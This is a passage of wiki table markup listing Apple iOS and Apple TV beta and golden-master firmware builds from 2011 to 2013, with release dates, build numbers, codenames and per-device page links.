| [[DurangoVail 8F5148c (Apple TV 2G)|4.2b]]
| colspan="7" {{n/a}}
|-
| 19 Jan 2011
! style="text-align:left;" | 8F5153d
| [[DurangoVail 8F5153d (Apple TV 2G)|4.2b2]]
| [[DurangoVail 8F5153d (iPad)|4.3b2]]
| class="nobborderplz" rowspan="3" {{n/a|class=nobborderplz}}
| [[DurangoVail 8F5153d (iPhone 3GS)|4.3b2]]
| [[DurangoVail 8F5153d (iPhone 4 GSM)|4.3b2]]
| class="nobborderplz" rowspan="3" {{n/a|class=nobborderplz}}
| [[DurangoVail 8F5153d (iPod touch 3G)|4.3b2]]
| [[DurangoVail 8F5153d (iPod touch 4G)|4.3b2]]
|-
| 1 Feb 2011
! style="text-align:left;" | 8F5166b
| [[DurangoVail 8F5166b (Apple TV 2G)|4.2b3]]
| [[DurangoVail 8F5166b (iPad)|4.3b3]]
| [[DurangoVail 8F5166b (iPhone 3GS)|4.3b3]]
| [[DurangoVail 8F5166b (iPhone 4 GSM)|4.3b3]]
| [[DurangoVail 8F5166b (iPod touch 3G)|4.3b3]]
| [[DurangoVail 8F5166b (iPod touch 4G)|4.3b3]]
|-
| 3 Mar 2011
! style="text-align:left;" | 8F190
| {{n/a}}
| [[Durango 8F190 (iPad)|4.3GM]]
| [[Durango 8F190 (iPhone 3GS)|4.3GM]]
| [[Durango 8F190 (iPhone 4 GSM)|4.3GM]]
| [[Durango 8F190 (iPod touch 3G)|4.3GM]]
| [[Durango 8F190 (iPod touch 4G)|4.3GM]]
|}

==== 5.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! colspan="4" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="3" | [[iPad 2|2]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| 7 Jun 2011
! style="text-align:left;" | 9A5220p
| [[TellurideVail 9A5220p (Apple TV 2G)|4.4b]]
| [[TellurideVail 9A5220p (iPad)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 Wi-Fi)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 GSM)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 CDMA)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 3GS)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 4 GSM)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 4 CDMA)|5.0b]]
| rowspan="8" {{n/a}}
| [[TellurideVail 9A5220p (iPod touch 3G)|5.0b]]
| [[TellurideVail 9A5220p (iPod touch 4G)|5.0b]]
|-
| 24 Jun 2011
! style="text-align:left;" | 9A5248d
| [[TellurideVail 9A5248d (Apple TV 2G)|4.4b2]]
| [[TellurideVail 9A5248d (iPad)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 Wi-Fi)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 GSM)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 CDMA)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 3GS)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 4 GSM)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 4 CDMA)|5.0b2]]
| [[TellurideVail 9A5248d (iPod touch 3G)|5.0b2]]
| [[TellurideVail 9A5248d (iPod touch 4G)|5.0b2]]
|-
| 11 Jul 2011
! style="text-align:left;" | 9A5259f
| [[TellurideVail 9A5259f (Apple TV 2G)|4.4b3]]
| [[TellurideVail 9A5259f (iPad)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 Wi-Fi)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 GSM)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 CDMA)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 3GS)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 4 GSM)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 4 CDMA)|5.0b3]]
| [[TellurideVail 9A5259f (iPod touch 3G)|5.0b3]]
| [[TellurideVail 9A5259f (iPod touch 4G)|5.0b3]]
|-
| 22 Jul 2011
! style="text-align:left;" | 9A5274d
| {{n/a}}
| [[TellurideVail 9A5274d (iPad)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 Wi-Fi)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 GSM)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 CDMA)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 3GS)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 4 GSM)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 4 CDMA)|5.0b4]]
| [[TellurideVail 9A5274d (iPod touch 3G)|5.0b4]]
| [[TellurideVail 9A5274d (iPod touch 4G)|5.0b4]]
|-
| 6 Aug 2011
! style="text-align:left;" | 9A5288d
| [[TellurideVail 9A5288d (Apple TV 2G)|4.4b4]]
| [[TellurideVail 9A5288d (iPad)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 Wi-Fi)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 GSM)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 CDMA)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 3GS)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 4 GSM)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 4 CDMA)|5.0b5]]
| [[TellurideVail 9A5288d (iPod touch 3G)|5.0b5]]
| [[TellurideVail 9A5288d (iPod touch 4G)|5.0b5]]
|-
| 19 Aug 2011
! style="text-align:left;" | 9A5302b
| [[TellurideVail 9A5302b (Apple TV 2G)|4.4b5]]
| [[TellurideVail 9A5302b (iPad)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 Wi-Fi)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 GSM)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 CDMA)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 3GS)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 4 GSM)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 4 CDMA)|5.0b6]]
| [[TellurideVail 9A5302b (iPod touch 3G)|5.0b6]]
| [[TellurideVail 9A5302b (iPod touch 4G)|5.0b6]]
|-
| 31 Aug 2011
! style="text-align:left;" | 9A5313e
| [[TellurideVail 9A5313e (Apple TV 2G)|4.4b6]]
| [[TellurideVail 9A5313e (iPad)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 Wi-Fi)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 GSM)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 CDMA)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 3GS)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 4 GSM)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 4 CDMA)|5.0b7]]
| [[TellurideVail 9A5313e (iPod touch 3G)|5.0b7]]
| [[TellurideVail 9A5313e (iPod touch 4G)|5.0b7]]
|-
| 4 Oct 2011
! style="text-align:left;" | 9A334
| rowspan="4" {{n/a}}
| [[Telluride 9A334 (iPad)|5.0GM]]
| [[Telluride 9A334 (iPad 2 Wi-Fi)|5.0GM]]
| [[Telluride 9A334 (iPad 2 GSM)|5.0GM]]
| [[Telluride 9A334 (iPad 2 CDMA)|5.0GM]]
| [[Telluride 9A334 (iPhone 3GS)|5.0GM]]
| [[Telluride 9A334 (iPhone 4 GSM)|5.0GM]]
| [[Telluride 9A334 (iPhone 4 CDMA)|5.0GM]]
| [[Telluride 9A334 (iPod touch 3G)|5.0GM]]
| [[Telluride 9A334 (iPod touch 4G)|5.0GM]]
|-
| 2 Nov 2011
! style="text-align:left;" | 9A402
| [[Telluride 9A402 (iPad)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 Wi-Fi)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 GSM)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 CDMA)|5.0.1b]]
| [[Telluride 9A402 (iPhone 3GS)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4 GSM)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4 CDMA)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4S)|5.0.1b]]
| [[Telluride 9A402 (iPod touch 3G)|5.0.1b]]
| [[Telluride 9A402 (iPod touch 4G)|5.0.1b]]
|-
| 4 Nov 2011
! style="text-align:left;" | 9A404
| [[Telluride 9A404 (iPad)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 Wi-Fi)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 GSM)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 CDMA)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 3GS)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4 GSM)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4 CDMA)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4S)|5.0.1b2]]
| [[Telluride 9A404 (iPod touch 3G)|5.0.1b2]]
| [[Telluride 9A404 (iPod touch 4G)|5.0.1b2]]
|-
| 28 Nov 2011
! style="text-align:left;" | 9B5117b
| [[HoodooVail 9B5117b (iPad)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 Wi-Fi)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 GSM)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 CDMA)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 3GS)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4 GSM)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4 CDMA)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4S)|5.1b]]
| [[HoodooVail 9B5117b (iPod touch 3G)|5.1b]]
| [[HoodooVail 9B5117b (iPod touch 4G)|5.1b]]
|-
| 12 Dec 2011
! style="text-align:left;" | 9B5127c
| [[HoodooVail 9B5127c (Apple TV 2G)|5.0b]]
| [[HoodooVail 9B5127c (iPad)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 Wi-Fi)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 GSM)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 CDMA)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 3GS)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4 GSM)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4 CDMA)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4S)|5.1b2]]
| [[HoodooVail 9B5127c (iPod touch 3G)|5.1b2]]
| [[HoodooVail 9B5127c (iPod touch 4G)|5.1b2]]
|-
| 9 Jan 2012
! style="text-align:left;" | 9B5141a
| [[HoodooVail 9B5141a (Apple TV 2G)|5.0b2]]
| [[HoodooVail 9B5141a (iPad)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 Wi-Fi)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 GSM)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 CDMA)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 3GS)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4 GSM)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4 CDMA)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4S)|5.1b3]]
| [[HoodooVail 9B5141a (iPod touch 3G)|5.1b3]]
| [[HoodooVail 9B5141a (iPod touch 4G)|5.1b3]]
|}

==== 6.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="2" | [[Apple TV]]
! colspan="10" | [[iPad]]
! colspan="3" | [[iPad mini]]
! colspan="7" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[j33ap|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="3" | [[iPad mini 1G|1G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! rowspan="2" | [[n81ap|4G]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! class="rborderplz" | [[n42ap|Global]]
|-
| 11 Jun 2012
! style="text-align:left;" | 10A5316k
| [[SundanceVail 10A5316k (Apple TV 2G)|5.1b]]
| [[SundanceVail 10A5316k (Apple TV 3G)|5.1b]]
| [[SundanceVail 10A5316k (iPad 2 Wi-Fi)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 GSM)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 Wi-Fi Rev A)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 Wi-Fi)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 Global)|6.0b]]
| colspan="6" rowspan="5" {{n/a}}
| [[SundanceVail 10A5316k (iPhone 3GS)|6.0b]]
| [[SundanceVail 10A5316k (iPhone 4 GSM)|6.0b]]
| rowspan="8" {{n/a}}
| [[SundanceVail 10A5316k (iPhone 4 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPhone 4S)|6.0b]]
| colspan="2" rowspan="5" {{n/a}}
| [[SundanceVail 10A5316k (iPod touch 4G)|6.0b]]
| rowspan="5" {{n/a}}
|-
| 25 Jun 2012
! style="text-align:left;" | 10A5338d
| [[SundanceVail 10A5338d (Apple TV 2G)|5.1b2]]
| [[SundanceVail 10A5338d (Apple TV 3G)|5.1b2]]
| [[SundanceVail 10A5338d (iPad 2 Wi-Fi)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 GSM)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 Wi-Fi Rev A)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 Wi-Fi)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 Global)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 3GS)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4 GSM)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4S)|6.0b2]]
| class="rborderplz" | [[SundanceVail 10A5338d (iPod touch 4G)|6.0b2]]
|-
| 16 Jul 2012
! style="text-align:left;" | 10A5355d
| [[SundanceVail 10A5355d (Apple TV 2G)|5.1b3]]
| [[SundanceVail 10A5355d (Apple TV 3G)|5.1b3]]
| [[SundanceVail 10A5355d (iPad 2 Wi-Fi)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 GSM)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 Wi-Fi Rev A)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 Wi-Fi)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 Global)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 3GS)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4 GSM)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4S)|6.0b3]]
| class="rborderplz" | [[SundanceVail 10A5355d (iPod touch 4G)|6.0b3]]
|-
| 6 Aug 2012
! style="text-align:left;" | 10A5376e
| [[SundanceVail 10A5376e (Apple TV 2G)|5.1b4]]
| [[SundanceVail 10A5376e (Apple TV 3G)|5.1b4]]
| [[SundanceVail 10A5376e (iPad 2 Wi-Fi)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 GSM)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 Wi-Fi Rev A)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 Wi-Fi)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 Global)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 3GS)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4 GSM)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4S)|6.0b4]]
| class="rborderplz" | [[SundanceVail 10A5376e (iPod touch 4G)|6.0b4]]
|-
| 12 Sep 2012
! style="text-align:left;" | 10A403
| colspan="2" rowspan="2" {{n/a}}
| [[Sundance 10A403 (iPad 2 Wi-Fi)|6.0GM]]
| [[Sundance 10A403 (iPad 2 GSM)|6.0GM]]
| [[Sundance 10A403 (iPad 2 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPad 2 Wi-Fi Rev A)|6.0GM]]
| [[Sundance 10A403 (iPad 3 Wi-Fi)|6.0GM]]
| [[Sundance 10A403 (iPad 3 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPad 3 Global)|6.0GM]]
| [[Sundance 10A403 (iPhone 3GS)|6.0GM]]
| [[Sundance 10A403 (iPhone 4 GSM)|6.0GM]]
| [[Sundance 10A403 (iPhone 4 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPhone 4S)|6.0GM]]
| class="rborderplz" | [[Sundance 10A403 (iPod touch 4G)|6.0GM]]
|-
| 1 Nov 2012
! style="text-align:left;" | 10B5095f
| [[BrightonVail 10B5095f (iPad 2 Wi-Fi)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 Wi-Fi Rev A)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 Wi-Fi)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 Global)|6.1b]]
| [[BrightonVail 10B5095f (iPad 4 Wi-Fi)|6.1b]]
| rowspan="2" colspan="2" {{n/a}}
| [[BrightonVail 10B5095f (iPad mini 1G Wi-Fi)|6.1b]]
| rowspan="2" colspan="2" {{n/a}}
| [[BrightonVail 10B5095f (iPhone 3GS)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4S)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 5 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 5 Global)|6.1b]]
| [[BrightonVail 10B5095f (iPod touch 4G)|6.1b]]
| [[BrightonVail 10B5095f (iPod touch 5G)|6.1b]]
|-
| 12 Nov 2012
! style="text-align:left;" | 10B5105c
| [[BrightonVail 10B5105c (Apple TV 2G)|5.2b]]
| [[BrightonVail 10B5105c (Apple TV 3G)|5.2b]]
| [[BrightonVail 10B5105c (iPad 2 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 Wi-Fi Rev A)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 Global)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 4 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad mini 1G Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 3GS)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4S)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 5 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 5 Global)|6.1b2]]
| [[BrightonVail 10B5105c (iPod touch 4G)|6.1b2]]
| [[BrightonVail 10B5105c (iPod touch 5G)|6.1b2]]
|-
| 3 Dec 2012
! style="text-align:left;" | 10B5117b
| [[BrightonVail 10B5117b (Apple TV 2G)|5.2b2]]
| [[BrightonVail 10B5117b (Apple TV 3G)|5.2b2]]
| [[BrightonVail 10B5117b (iPad 2 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 Wi-Fi Rev A)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 3GS)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4S)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 5 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 5 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPod touch 4G)|6.1b3]]
| [[BrightonVail 10B5117b (iPod touch 5G)|6.1b3]]
|-
| 17 Dec 2012
! style="text-align:left;" | 10B5126b
| [[BrightonVail 10B5126b (Apple TV 2G)|5.2b3]]
| [[BrightonVail 10B5126b (Apple TV 3G)|5.2b3]]
| [[BrightonVail 10B5126b (iPad 2 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 Wi-Fi Rev A)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 3GS)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4 GSM Rev A)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4S)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 5 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 5 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPod touch 4G)|6.1b4]]
| [[BrightonVail 10B5126b (iPod touch 5G)|6.1b4]]
|-
| rowspan="4" | 26 Jan 2013
! style="text-align:left;" | 10B141
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPad 2 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 2 GSM)|6.1b5]]
| [[Brighton 10B141 (iPad 2 CDMA)|6.1b5]]
| [[Brighton 10B141 (iPad 2 Wi-Fi Rev A)|6.1b5]]
| [[Brighton 10B141 (iPad 3 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 3 CDMA)|6.1b5]]
| [[Brighton 10B141 (iPad 3 Global)|6.1b5]]
| [[Brighton 10B141 (iPad 4 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 4 GSM)|6.1b5]]
| [[Brighton 10B141 (iPad 4 Global)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G GSM)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G Global)|6.1b5]]
| [[Brighton 10B141 (iPhone 3GS)|6.1b5]]
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPhone 4 CDMA)|6.1b5]]
| colspan="4" {{n/a}}
| [[Brighton 10B141 (iPod touch 5G)|6.1b5]]
|-
! style="text-align:left;" | 10B142
| colspan="19" {{n/a}}
| [[Brighton 10B142 (iPhone 4S)|6.1b5]]
| colspan="7" {{n/a}}
|-
! style="text-align:left;" | 10B143
| colspan="20" {{n/a}}
| [[Brighton 10B143 (iPhone 5 GSM)|6.1b5]]
| [[Brighton 10B143 (iPhone 5 Global)|6.1b5]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10B144
| colspan="16" {{n/a}}
| [[Brighton 10B144 (iPhone 4 GSM)|6.1b5]]
| [[Brighton 10B144 (iPhone 4 GSM Rev A)|6.1b5]]
| colspan="4" {{n/a}}
| [[Brighton 10B144 (iPod touch 4G)|6.1b5]]
| colspan="1" {{n/a}}
|-
| rowspan="1" | 6 Feb 2013
! style="text-align:left;" | 10B311
| colspan="2" {{n/a}}
| [[BrightonMaps 10B311 (iPad 2 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 Wi-Fi Rev A)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 3GS)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 GSM Rev A)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4S)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 5 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 5 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPod touch 4G)|6.1.1b]]
| [[BrightonMaps 10B311 (iPod touch 5G)|6.1.1b]]
|-
| class="nobborderplz" rowspan="2" | 21 Feb 2013
! style="text-align:left;" | 10B318
| colspan="15" {{n/a}}
| [[BrightonMaps 10B318 (iPhone 3GS)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 GSM Rev A)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 CDMA)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4S)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 5 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 5 Global)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPod touch 4G)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPod touch 5G)|6.1.3b2]]
|-
! style="text-align:left;" | 10B318a
| colspan="2" {{n/a}}
| [[BrightonMaps 10B318a (iPad 2 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 2 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 2 CDMA)|6.1.3b2]]
